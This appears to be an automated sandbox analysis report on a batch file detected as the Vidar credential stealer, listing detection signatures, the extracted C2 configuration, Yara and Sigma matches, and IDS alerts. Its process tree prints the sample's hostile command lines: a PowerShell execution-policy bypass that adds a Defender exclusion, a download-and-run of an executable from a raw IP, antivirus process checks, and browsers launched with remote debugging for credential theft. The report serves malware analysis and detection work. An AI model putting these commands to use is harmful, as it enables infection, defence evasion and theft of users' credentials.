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Windows
Analysis Report
skript.bat
Overview
General Information
Detection
Vidar
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Attempt to bypass Chrome Application-Bound Encryption
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Search for Antivirus process
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Vidar stealer
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Drops PE files with a suspicious file extension
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Monitors registry run keys for changes
Powershell drops PE file
Sigma detected: PowerShell DownloadFile
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to download and execute files (via powershell)
Tries to harvest and steal browser information (history, passwords, etc)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- cmd.exe (PID: 2448 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\skrip t.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2612 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6716 cmdline:
powershell .exe -NoPr ofile -Exe cutionPoli cy Bypass -Command "$alias = 'IEX'; $c md = 'Add- MpPreferen ce -Exclus ionPath '' C:\Users\u ser\AppDat a\Local\Te mp'''; & $ alias $cmd " MD5: 04029E121A0CFA5991749937DD22A1D9) - WmiPrvSE.exe (PID: 3060 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - timeout.exe (PID: 7232 cmdline:
timeout /t 10 /nobre ak MD5: 100065E21CFBBDE57CBA2838921F84D6) - powershell.exe (PID: 7456 cmdline:
powershell .exe -NoPr ofile -Exe cutionPoli cy Bypass -Command "(New-Obj ect System .Net.WebCl ient).Down loadFile(' http://5.2 52.155.64/ lem.exe', 'C:\Users\ user\AppDa ta\Local\T emp\putt.e xe')" MD5: 04029E121A0CFA5991749937DD22A1D9) - putt.exe (PID: 7948 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\putt.e xe" MD5: 5782BEA403267E4A6DDF82263332ED59) - cmd.exe (PID: 8008 cmdline:
"C:\Window s\System32 \cmd.exe" /c move Co hen Cohen. cmd & Cohe n.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 8016 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 8112 cmdline:
tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1) - findstr.exe (PID: 8120 cmdline:
findstr /I "opssvc w rsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E) - tasklist.exe (PID: 8160 cmdline:
tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1) - findstr.exe (PID: 8168 cmdline:
findstr "A vastUI AVG UI bdservi cehost nsW scSvc ekrn SophosHea lth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E) - cmd.exe (PID: 6532 cmdline:
cmd /c md 105235 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - extrac32.exe (PID: 6500 cmdline:
extrac32 / Y /E Autho rization MD5: 9472AAB6390E4F1431BAA912FCFF9707) - findstr.exe (PID: 1596 cmdline:
findstr /V "aid" Div ision MD5: F1D4BE0E99EC734376FDE474A8D4EA3E) - cmd.exe (PID: 776 cmdline:
cmd /c cop y /b 10523 5\Inf.com + Proceedi ngs + Reco very + Web ster + Sun glasses + Cultural + Tulsa + B eing + Nam e + Silico n + Subtle 105235\In f.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - cmd.exe (PID: 5172 cmdline:
cmd /c cop y /b ..\Gl ad + ..\No rway + ..\ Tired m MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - Inf.com (PID: 6636 cmdline:
Inf.com m MD5: 62D09F076E6E0240548C2F837536A46A) - chrome.exe (PID: 5332 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --re mote-debug ging-port= 9223 --pro file-direc tory="Defa ult" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92) - chrome.exe (PID: 7472 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --mojo-pla tform-chan nel-handle =2452 --fi eld-trial- handle=233 2,i,172730 9176704592 8010,37927 2213563854 2356,26214 4 /prefetc h:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92) - msedge.exe (PID: 7360 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --remot e-debuggin g-port=922 3 --profil e-director y="Default " MD5: BF154738460E4AB1D388970E1AB13FAB) - msedge.exe (PID: 3432 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=net work.mojom .NetworkSe rvice --la ng=en-GB - -service-s andbox-typ e=none --m ojo-platfo rm-channel -handle=26 96 --field -trial-han dle=2632,i ,145517116 2052751939 0,43232069 1412898099 6,262144 / prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB) - choice.exe (PID: 508 cmdline:
choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
- svchost.exe (PID: 7856 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- msedge.exe (PID: 6432 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --remot e-debuggin g-port=922 3 --profil e-director y=Default --flag-swi tches-begi n --flag-s witches-en d --disabl e-nacl --d o-not-de-e levate MD5: BF154738460E4AB1D388970E1AB13FAB) - msedge.exe (PID: 3880 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=net work.mojom .NetworkSe rvice --la ng=en-GB - -service-s andbox-typ e=none --m ojo-platfo rm-channel -handle=24 48 --field -trial-han dle=2428,i ,203969268 0594755014 ,463383860 8325150589 ,262144 /p refetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB) - msedge.exe (PID: 1828 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=ass et_store.m ojom.Asset StoreServi ce --lang= en-GB --se rvice-sand box-type=a sset_store _service - -mojo-plat form-chann el-handle= 5340 --fie ld-trial-h andle=2428 ,i,2039692 6805947550 14,4633838 6083251505 89,262144 /prefetch: 8 MD5: BF154738460E4AB1D388970E1AB13FAB) - msedge.exe (PID: 5344 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=ent ity_extrac tion_servi ce.mojom.E xtractor - -lang=en-G B --servic e-sandbox- type=entit y_extracti on --onnx- enabled-fo r-ee --moj o-platform -channel-h andle=6652 --field-t rial-handl e=2428,i,2 0396926805 94755014,4 6338386083 25150589,2 62144 /pre fetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB) - identity_helper.exe (PID: 7528 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \117.0.204 5.55\ident ity_helper .exe" --ty pe=utility --utility -sub-type= winrt_app_ id.mojom.W inrtAppIdS ervice --l ang=en-GB --service- sandbox-ty pe=none -- mojo-platf orm-channe l-handle=7 104 --fiel d-trial-ha ndle=2428, i,20396926 8059475501 4,46338386 0832515058 9,262144 / prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306) - identity_helper.exe (PID: 7512 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \117.0.204 5.55\ident ity_helper .exe" --ty pe=utility --utility -sub-type= winrt_app_ id.mojom.W inrtAppIdS ervice --l ang=en-GB --service- sandbox-ty pe=none -- mojo-platf orm-channe l-handle=7 104 --fiel d-trial-ha ndle=2428, i,20396926 8059475501 4,46338386 0832515058 9,262144 / prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Vidar | Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. | No Attribution |
{"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
Click to see the 7 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
infostealer_win_vidar_strings_nov23 | Finds Vidar samples based on the specific strings | Sekoia.io |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: frack113: |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: vburov: |
HIPS / PFW / Operating System Protection Evasion |
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Source: | Author: Joe Security: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-27T07:09:31.597895+0100 | 2019714 | 2 | Potentially Bad Traffic | 192.168.2.6 | 49773 | 5.252.155.64 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-27T07:10:44.485231+0100 | 2044247 | 1 | Malware Command and Control Activity Detected | 188.245.216.205 | 443 | 192.168.2.6 | 49939 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-27T07:10:46.979430+0100 | 2051831 | 1 | Malware Command and Control Activity Detected | 188.245.216.205 | 443 | 192.168.2.6 | 49945 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-27T07:10:42.007109+0100 | 2049087 | 1 | A Network Trojan was detected | 192.168.2.6 | 49933 | 188.245.216.205 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-27T07:10:39.619043+0100 | 2859378 | 1 | Malware Command and Control Activity Detected | 192.168.2.6 | 49927 | 188.245.216.205 | 443 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: | ||
Source: | Avira URL Cloud: |
Source: | Malware Configuration Extractor: |
Source: | Integrated Neural Analysis Model: |
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
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Source: | HTTPS traffic detected: | ||
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Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: | ||
Source: | HTTPS traffic detected: |
Source: | Code function: | 14_2_00406301 | |
Source: | Code function: | 14_2_00406CC7 | |
Source: | Code function: | 26_2_0075DC54 | |
Source: | Code function: | 26_2_0076A087 | |
Source: | Code function: | 26_2_0076A1E2 | |
Source: | Code function: | 26_2_0075E472 | |
Source: | Code function: | 26_2_0076A570 | |
Source: | Code function: | 26_2_0072C622 | |
Source: | Code function: | 26_2_007666DC | |
Source: | Code function: | 26_2_00767333 | |
Source: | Code function: | 26_2_007673D4 | |
Source: | Code function: | 26_2_0075D921 |
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior |
Networking |
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Source: | Suricata IDS: | ||
Source: | Suricata IDS: | ||
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Source: | Suricata IDS: |
Source: | URLs: |
Source: | HTTP traffic detected: |